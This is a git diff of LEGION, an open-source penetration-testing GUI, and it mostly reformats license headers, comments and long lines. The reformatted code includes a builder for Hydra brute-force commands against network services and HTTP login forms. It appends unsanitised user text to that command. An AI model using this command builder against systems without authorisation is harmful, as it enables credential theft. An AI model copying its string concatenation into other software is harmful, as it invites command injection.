self.cancelIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/minus-black.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.cancelIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/minus-black.png")), QtGui.QIcon.Normal, + QtGui.QIcon.Off) self.cmdCancelButton.setIconSize(QtCore.QSize(19, 19)) self.cmdCancelButton.setIcon(self.cancelIcon) @@ -279,5 +299,9 @@ def setupLayout(self): easyModeControls = [self.grpEasyMode] hardModeControls = [self.grpScanOpt, self.grpScanOptPing, self.scanOptCustomGroup] - self.rdoModeOptHard.clicked.connect(lambda: flipState(targetState = self.rdoModeOptHard.isChecked(), widgetsToFlipOn = hardModeControls, widgetsToFlipOff = easyModeControls)) - self.rdoModeOptEasy.clicked.connect(lambda: flipState(targetState = self.rdoModeOptEasy.isChecked(), widgetsToFlipOn = easyModeControls, widgetsToFlipOff = hardModeControls)) + self.rdoModeOptHard.clicked.connect(lambda: flipState(targetState = self.rdoModeOptHard.isChecked(), + widgetsToFlipOn = hardModeControls, + widgetsToFlipOff = easyModeControls)) + self.rdoModeOptEasy.clicked.connect(lambda: flipState(targetState = self.rdoModeOptEasy.isChecked(), + widgetsToFlipOn = easyModeControls, + widgetsToFlipOff = hardModeControls)) diff --git a/ui/ancillaryDialog.py b/ui/ancillaryDialog.py index 8929fdd7..da7beb6c 100644 --- a/ui/ancillaryDialog.py +++ b/ui/ancillaryDialog.py @@ -1,15 +1,21 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" import os from PyQt5.QtGui import * # for filters dialog diff --git a/ui/configDialog.py b/ui/configDialog.py index ce6a0fbb..abaa6dc1 100644 --- a/ui/configDialog.py +++ b/ui/configDialog.py @@ -1,15 +1,21 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" import os from PyQt5.QtGui import * # for filters dialog diff --git a/ui/dialogs.py b/ui/dialogs.py index 6482563f..34e1cc76 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -1,15 +1,20 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" import os from PyQt5.QtGui import * # for filters dialog @@ -47,7 +52,9 @@ def __init__(self, ip, port, service, settings, parent=None): self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) def setupLayoutHlayout(self): - hydraServiceConversion = {'login':'rlogin', 'ms-sql-s':'mssql', 'ms-wbt-server':'rdp', 'netbios-ssn':'smb', 'netbios-ns':'smb', 'microsoft-ds':'smb', 'postgresql':'postgres', 'vmware-auth':'vmauthd"'} + hydraServiceConversion = {'login': 'rlogin', 'ms-sql-s': 'mssql', 'ms-wbt-server': 'rdp', + 'netbios-ssn': 'smb', 'netbios-ns': 'smb', 'microsoft-ds': 'smb', + 'postgresql': 'postgres', 'vmware-auth': 'vmauthd"'} # sometimes nmap service name is different from hydra service name if self.service is None: self.service = '' @@ -85,7 +92,7 @@ def setupLayoutHlayout(self): self.serviceComboBox.setCurrentIndex(i) break -# self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force +# self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force # self.labelPath.setFixedWidth(800) # self.labelPath.setText('/') @@ -144,7 +151,10 @@ def setupLayoutHlayout2(self): self.foundUsersRadio.toggle() self.warningLabel = QtWidgets.QLabel() - self.warningLabel.setText('*Note: when using form-based services from the Service menu, select the "Additional Options" checkbox and add the proper arguments for the webpage form. See Hydra documentation for extra help when targeting HTTP/HTTPS forms.') + self.warningLabel.setText('*Note: when using form-based services from the Service menu, ' + + 'select the "Additional Options" checkbox and add the proper arguments' + + ' for the webpage form. See Hydra documentation for extra help when' + + ' targeting HTTP/HTTPS forms.') self.warningLabel.setWordWrap(True) self.warningLabel.setAlignment(Qt.AlignRight) self.warningLabel.setStyleSheet('QLabel { color: red }') @@ -271,7 +281,7 @@ def setupLayoutHlayout4(self): def setupLayout(self): ### - self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force + self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force self.labelPath.setFixedWidth(800) self.labelPath.setText('-m "/login/login.html:username=^USER^&password=^PASS^&Login=Login:failed"') ### @@ -290,7 +300,8 @@ def setupLayout(self): p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font self.display.setPalette(p) - self.display.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + self.display.setStyleSheet("QMenu { color:black;}") self.vlayout = QtWidgets.QVBoxLayout() self.vlayout.addLayout(self.setupLayoutHlayout()) @@ -331,7 +342,8 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): self.port = self.portTextinput.text() self.service = str(self.serviceComboBox.currentText()) self.command = "hydra " + str(self.ip) + " -s " + self.port + " -o " - self.outputfile = runningfolder + "/hydra/" + getTimestamp() + "-" + str(self.ip) + "-" + self.port + "-" + self.service + ".txt" + self.outputfile = runningfolder + "/hydra/" + getTimestamp() + \ + "-" + str(self.ip) + "-" + self.port + "-" + self.service + ".txt" self.command += "\"" + self.outputfile + "\"" if 'form' not in str(self.service): @@ -376,7 +388,7 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): self.command += " " + self.service -# if self.labelPath.isVisible(): # append the additional field's content, if it was visible +# if self.labelPath.isVisible(): # append the additional field's content, if it was visible if self.checkAddMoreOptions.isChecked(): self.command += " "+str(self.labelPath.text()) # TODO: sanitise this? @@ -393,7 +405,8 @@ def toggleRunButton(self): else: self.runButton.setText('Run') - def resetDisplay(self): # used to be able to display the tool output in both the Brute tab and the tool display panel + # used to be able to display the tool output in both the Brute tab and the tool display panel + def resetDisplay(self): self.display.setParent(None) self.display = QtWidgets.QPlainTextEdit() self.display.setReadOnly(True) @@ -404,7 +417,8 @@ def resetDisplay(self): # used to be p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font self.display.setPalette(p) - self.display.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + self.display.setStyleSheet("QMenu { color:black;}") self.vlayout.addWidget(self.display) # dialog displayed when the user clicks on the advanced filters button @@ -474,8 +488,12 @@ def setupLayout(self): self.setLayout(layout) def getFilters(self): - #return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), str(self.hostKeywordText.text()).split()] - return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), unicode(self.hostKeywordText.text()).split()] + #return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), + # self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), + # self.portsTcp.isChecked(), self.portsUdp.isChecked(), str(self.hostKeywordText.text()).split()] + return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), + self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), + self.portsTcp.isChecked(), self.portsUdp.isChecked(), unicode(self.hostKeywordText.text()).split()] def setCurrentFilters(self, filters): if not self.hostsUp.isChecked() == filters[0]: diff --git a/ui/gui.py b/ui/gui.py index c2426836..d0da93f4 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -1,15 +1,20 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" from PyQt5 import QtWidgets, QtGui, QtCore from PyQt5.QtGui import QColor @@ -50,11 +55,13 @@ def setupUi(self, MainWindow): # size policies self.sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) - self.sizePolicy.setHorizontalStretch(0) # this specifies that the widget will keep its width when the window is resized + # this specifies that the widget will keep its width when the window is resized + self.sizePolicy.setHorizontalStretch(0) self.sizePolicy.setVerticalStretch(0) self.sizePolicy2 = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) - self.sizePolicy2.setHorizontalStretch(1) # this specifies that the widget will expand its width when the window is resized + # this specifies that the widget will expand its width when the window is resized + self.sizePolicy2.setHorizontalStretch(1) self.sizePolicy2.setVerticalStretch(0) self.setupLeftPanel() @@ -92,7 +99,8 @@ def setupLeftPanel(self): self.FilterAdvancedButton = QtWidgets.QToolButton() self.advancedIcon = QtGui.QIcon() - self.advancedIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/advanced.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.advancedIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/advanced.png")), + QtGui.QIcon.Normal, QtGui.QIcon.Off) self.FilterAdvancedButton.setIconSize(QtCore.QSize(19, 19)) self.FilterAdvancedButton.setIcon(self.advancedIcon) self.FilterAdvancedButton.setToolTip('Choose advanced filters') @@ -109,8 +117,9 @@ def setupLeftPanel(self): self.HostsTableView = QtWidgets.QTableView(self.HostsTab) self.HostsTableView.setObjectName(_fromUtf8("HostsTableView")) self.vlayout.addWidget(self.HostsTableView) - - self.addHostsOverlay = QtWidgets.QTextEdit(self.HostsTab) # the overlay widget that appears over the hosttableview + + # the overlay widget that appears over the hosttableview + self.addHostsOverlay = QtWidgets.QTextEdit(self.HostsTab) self.addHostsOverlay.setObjectName(_fromUtf8("addHostsOverlay")) self.addHostsOverlay.setText('Click here to add host(s) to scope') self.addHostsOverlay.setReadOnly(True) @@ -171,7 +180,8 @@ def setupRightPanel(self): self.splitter_3 = QtWidgets.QSplitter() self.splitter_3.setOrientation(QtCore.Qt.Horizontal) self.splitter_3.setObjectName(_fromUtf8("splitter_3")) - self.splitter_3.setSizePolicy(self.sizePolicy2) # this makes the tools tab stay the same width when resizing the window + # this makes the tools tab stay the same width when resizing the window + self.splitter_3.setSizePolicy(self.sizePolicy2) ### @@ -372,20 +382,34 @@ def setDefaultIndexes(self): def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(QtWidgets.QApplication.translate("MainWindow", "LEGION", None)) - self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.HostsTab), QtWidgets.QApplication.translate("MainWindow", "Hosts", None)) - self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ServicesLeftTab), QtWidgets.QApplication.translate("MainWindow", "Services", None)) - #self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.CvesLeftTab), QtWidgets.QApplication.translate("MainWindow", "CVEs", None)) - self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ToolsTab), QtWidgets.QApplication.translate("MainWindow", "Tools", None)) - self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ServicesRightTab), QtWidgets.QApplication.translate("MainWindow", "Services", None)) - self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.CvesRightTab), QtWidgets.QApplication.translate("MainWindow", "CVEs", None)) - self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScriptsTab), QtWidgets.QApplication.translate("MainWindow", "Scripts", None)) - self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.InformationTab), QtWidgets.QApplication.translate("MainWindow", "Information", None)) - self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.NotesTab), QtWidgets.QApplication.translate("MainWindow", "Notes", None)) - self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.ScanTab), QtWidgets.QApplication.translate("MainWindow", "Scan", None)) - self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), QtWidgets.QApplication.translate("MainWindow", "Brute", None)) - self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.ProcessTab), QtWidgets.QApplication.translate("MainWindow", "Processes", None)) - self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtWidgets.QApplication.translate("MainWindow", "Log", None)) - # self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) - Disabled until future release + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.HostsTab), + QtWidgets.QApplication.translate("MainWindow", "Hosts", None)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ServicesLeftTab), + QtWidgets.QApplication.translate("MainWindow", "Services", None)) + #self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.CvesLeftTab), + # QtWidgets.QApplication.translate("MainWindow", "CVEs", None)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ToolsTab), + QtWidgets.QApplication.translate("MainWindow", "Tools", None)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ServicesRightTab), + QtWidgets.QApplication.translate("MainWindow", "Services", None)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.CvesRightTab), + QtWidgets.QApplication.translate("MainWindow", "CVEs", None)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScriptsTab), + QtWidgets.QApplication.translate("MainWindow", "Scripts", None)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.InformationTab), + QtWidgets.QApplication.translate("MainWindow", "Information", None)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.NotesTab), + QtWidgets.QApplication.translate("MainWindow", "Notes", None)) + self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.ScanTab), + QtWidgets.QApplication.translate("MainWindow", "Scan", None)) + self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), + QtWidgets.QApplication.translate("MainWindow", "Brute", None)) + self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.ProcessTab), + QtWidgets.QApplication.translate("MainWindow", "Processes", None)) + self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), + QtWidgets.QApplication.translate("MainWindow", "Log", None)) + # self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), + # QtWidgets.QApplication.translate("MainWindow", "Python", None)) - Disabled until future release self.menuFile.setTitle(QtWidgets.QApplication.translate("MainWindow", "File", None)) #self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None)) self.menuHelp.setTitle(QtWidgets.QApplication.translate("MainWindow", "Help", None)) @@ -393,13 +417,15 @@ def retranslateUi(self, MainWindow): self.actionExit.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Exit the application", None)) self.actionExit.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+Q", None)) self.actionOpen.setText(QtWidgets.QApplication.translate("MainWindow", "Open", None)) - self.actionOpen.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Open an existing project file", None)) + self.actionOpen.setToolTip(QtWidgets.QApplication.translate("MainWindow", + "Open an existing project file", None)) self.actionOpen.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+O", None)) self.actionSave.setText(QtWidgets.QApplication.translate("MainWindow", "Save", None)) self.actionSave.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Save the current project", None)) self.actionSave.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+S", None)) self.actionImportNmap.setText(QtWidgets.QApplication.translate("MainWindow", "Import nmap", None)) - self.actionImportNmap.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Import an nmap xml file", None)) + self.actionImportNmap.setToolTip(QtWidgets.QApplication.translate("MainWindow", + "Import an nmap xml file", None)) self.actionImportNmap.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+I", None)) self.actionSaveAs.setText(QtWidgets.QApplication.translate("MainWindow", "Save As", None)) self.actionNew.setText(QtWidgets.QApplication.translate("MainWindow", "New", None)) diff --git a/ui/helpDialog.py b/ui/helpDialog.py index dd009474..bda0a37b 100644 --- a/ui/helpDialog.py +++ b/ui/helpDialog.py @@ -1,15 +1,21 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" import os from PyQt5.QtGui import * # for filters dialog @@ -43,7 +49,8 @@ def __init__(self, qss, parent = None): self.setReadOnly(True) class HelpDialog(QtWidgets.QDialog): - def __init__(self, name, author, copyright, links, emails, version, build, update, license, desc, smallIcon, bigIcon, qss, parent = None): + def __init__(self, name, author, copyright, links, emails, version, build, update, license, desc, smallIcon, + bigIcon, qss, parent = None): super(HelpDialog, self).__init__(parent) self.name = name self.author = author @@ -76,7 +83,8 @@ def Qui_update(self): self.logoapp.setPixmap(QtGui.QPixmap(self.smallIcon).scaled(64,64)) self.form = QtWidgets.QFormLayout() self.form2 = QtWidgets.QVBoxLayout() - self.form.addRow(self.logoapp,QtWidgets.QLabel('

{0} {1}-{2}

'.format(self.name, self.version, self.build))) + self.form.addRow(self.logoapp,QtWidgets.QLabel('

{0} {1}-{2}

'.format(self.name, + self.version, self.build))) self.tabwid = QtWidgets.QTabWidget(self) self.TabAbout = QtWidgets.QWidget(self) self.TabVersion = QtWidgets.QWidget(self) @@ -108,7 +116,8 @@ def Qui_update(self): self.TabAbout.setLayout(self.formAbout) # Version Section - self.formVersion.addRow(QtWidgets.QLabel('Version: {0}-{1}
'.format(self.version, self.build))) + self.formVersion.addRow(QtWidgets.QLabel('Version: {0}-{1}
'.format(self.version, + self.build))) self.formVersion.addRow(QtWidgets.QLabel('Using:')) import platform python_version = platform.python_version() diff --git a/ui/settingsDialog.py b/ui/settingsDialog.py index 2121f9c3..d2aa5c44 100644 --- a/ui/settingsDialog.py +++ b/ui/settingsDialog.py @@ -1,15 +1,21 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" import os from PyQt5.QtGui import * # for filters dialog @@ -19,16 +25,19 @@ from app.shell.Shell import Shell -class Validate(QtCore.QObject): # used to validate user input on focusOut - more specifically only called to validate tool name in host/port/terminal commands tabs +# used to validate user input on focusOut - more specifically only called to validate tool name in host/port/terminal +# commands tabs +class Validate(QtCore.QObject): def eventFilter(self, widget, event): - if event.type() == QtCore.QEvent.FocusOut: # this horrible line is to avoid making the 'AddSettingsDialog' class visible from here + # this horrible line is to avoid making the 'AddSettingsDialog' class visible from here + if event.type() == QtCore.QEvent.FocusOut: widget.parent().parent().parent().parent().parent().parent().validateToolName() return False else: return False # TODO: check this # Borrowed this class from https://gist.github.com/LegoStormtroopr/5075267 -# Credit and thanks to LegoStormtoopr (http://www.twitter.com/legostormtroopr) +# Credit and thanks to LegoStormtroopr (http://www.twitter.com/legostormtroopr) class SettingsTabBarWidget(QtWidgets.QTabBar): def __init__(self, parent=None, *args, **kwargs): self.tabSize = QtCore.QSize(kwargs.pop('width',100), kwargs.pop('height',25)) @@ -49,7 +58,7 @@ def paintEvent(self, event): def tabSizeHint(self,index): return self.tabSize -class AddSettingsDialog(QtWidgets.QDialog): # dialog shown when the user selects settings menu +class AddSettingsDialog(QtWidgets.QDialog): # dialog shown when the user selects settings menu def __init__(self, shell: Shell, parent=None): QtWidgets.QDialog.__init__(self, parent) @@ -82,18 +91,25 @@ def setupConnections(self): self.addToolForTerminalButton.clicked.connect(self.addToolForTerminal) self.removeToolForTerminalButton.clicked.connect(self.removeToolForTerminal) - self.addServicesButton.clicked.connect(lambda: self.moveService(self.servicesAllTableWidget, self.servicesActiveTableWidget)) - self.removeServicesButton.clicked.connect(lambda: self.moveService(self.servicesActiveTableWidget, self.servicesAllTableWidget)) - self.addTerminalServiceButton.clicked.connect(lambda: self.moveService(self.terminalServicesAllTable, self.terminalServicesActiveTable)) - self.removeTerminalServiceButton.clicked.connect(lambda: self.moveService(self.terminalServicesActiveTable, self.terminalServicesAllTable)) + self.addServicesButton.clicked.connect(lambda: self.moveService(self.servicesAllTableWidget, + self.servicesActiveTableWidget)) + self.removeServicesButton.clicked.connect(lambda: self.moveService(self.servicesActiveTableWidget, + self.servicesAllTableWidget)) + self.addTerminalServiceButton.clicked.connect(lambda: self.moveService(self.terminalServicesAllTable, + self.terminalServicesActiveTable)) + self.removeTerminalServiceButton.clicked.connect(lambda: self.moveService(self.terminalServicesActiveTable, + self.terminalServicesAllTable)) self.toolForHostsTableWidget.clicked.connect(self.updateToolForHostInformation) self.toolForServiceTableWidget.clicked.connect(self.updateToolForServiceInformation) self.toolForTerminalTableWidget.clicked.connect(self.updateToolForTerminalInformation) - self.hostActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForHostsTableWidget, self.hostActionNameText.text())) - self.portActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForServiceTableWidget, self.portActionNameText.text())) - self.terminalActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForTerminalTableWidget, self.terminalActionNameText.text())) + self.hostActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForHostsTableWidget, + self.hostActionNameText.text())) + self.portActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForServiceTableWidget, + self.portActionNameText.text())) + self.terminalActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate( + self.toolForTerminalTableWidget, self.terminalActionNameText.text())) self.enableAutoAttacks.clicked.connect(lambda: self.enableAutoToolsTab()) self.checkDefaultCred.clicked.connect(self.toggleDefaultServices) @@ -103,12 +119,16 @@ def setupConnections(self): ##################### ACTION FUNCTIONS (apply / cancel related) ##################### - def setSettings(self, settings): # called by the controller once the config file has been read at start time and also when the cancel button is pressed to forget any changes. + # called by the controller once the config file has been read at start time and also when the cancel button + # is pressed to forget any changes. + def setSettings(self, settings): self.settings = settings - self.resetGui() # clear any changes the user may have made and canceled. - self.populateSettings() # populate the GUI with the new settings + self.resetGui() # clear any changes the user may have made and canceled. + self.populateSettings() # populate the GUI with the new settings - self.hostActionsNumber = 1 # TODO: this is most likely not the best way to do it. we should check if New_Action_1 exists and if so increase the number until it doesn't exist. no need for a self.variable - can be a local one. + # TODO: this is most likely not the best way to do it. we should check if New_Action_1 exists and if so + # increase the number until it doesn't exist. no need for a self.variable - can be a local one. + self.hostActionsNumber = 1 self.portActionsNumber = 1 self.terminalActionsNumber = 1 @@ -117,9 +137,10 @@ def applySettings(self): # called whe self.updateSettings() return True return False - - def updateSettings(self): # updates the local settings object (must be called when applying settings and only after validation succeeded) - # LEO: reorganised stuff in a more logical way but no changes were made yet :) + + # updates the local settings object (must be called when applying settings and only after validation succeeded) + def updateSettings(self): + # LEO: reorganised stuff in a more logical way but no changes were made yet :) # update GENERAL tab settings self.settings.general_default_terminal = str(self.terminalComboBox.currentText()) self.settings.general_max_fast_processes = str(self.fastProcessesComboBox.currentText()) @@ -155,10 +176,12 @@ def updateSettings(self): # updates th else: self.settings.general_enable_scheduler = 'False' - # TODO: seems like all the other settings should be updated here as well instead of updating them in the validation function. + # TODO: seems like all the other settings should be updated here as well instead of + # updating them in the validation function. - #def initValues(self): # LEO: renamed and changed the previous tabs defaults otherwise validation doesn't work the first time - def resetGui(self): # called when the cancel button is clicked, to initialise everything + # LEO: renamed and changed the previous tabs defaults otherwise validation doesn't work the first time + #def initValues(self): + def resetGui(self): # called when the cancel button is clicked, to initialise everything self.validationPassed = True self.previousTab = 'General' self.previousToolTab = 'Tool Paths' @@ -186,8 +209,10 @@ def resetGui(self): # called whe clearLayout(self.defaultBoxVerlayout) self.terminalComboBox.clear() - def populateSettings(self): # called by setSettings at start up or when showing the settings dialog after a cancel action. it populates the GUI with the controller's settings object. - self.populateGeneralTab() # LEO: split it in functions so that it's less confusing and easier to refactor later + # called by setSettings at start up or when showing the settings dialog after a cancel action. + # it populates the GUI with the controller's settings object. + def populateSettings(self): + self.populateGeneralTab() # LEO: split it in functions so that it's less confusing and easier to refactor later self.populateBruteTab() self.populateToolsTab() self.populateAutomatedAttacksTab() @@ -205,9 +230,11 @@ def populateGeneralTab(self): elif self.settings.general_tool_output_black_background == 'False' and self.checkBlackBG.isChecked() == True: self.checkBlackBG.toggle() - if self.settings.brute_store_cleartext_passwords_on_exit == 'True' and self.checkStoreClearPW.isChecked() == False: + if self.settings.brute_store_cleartext_passwords_on_exit == 'True' and \ + self.checkStoreClearPW.isChecked() == False: self.checkStoreClearPW.toggle() - elif self.settings.brute_store_cleartext_passwords_on_exit == 'False' and self.checkStoreClearPW.isChecked() == True: + elif self.settings.brute_store_cleartext_passwords_on_exit == 'False' and \ + self.checkStoreClearPW.isChecked() == True: self.checkStoreClearPW.toggle() def populateBruteTab(self): @@ -259,11 +286,12 @@ def populateToolsTab(self): self.terminalServicesAllTable.setItem(row, 0, QtWidgets.QTableWidgetItem()) self.terminalServicesAllTable.item(row, 0).setText(self.settings.portTerminalActions[row][3]) - 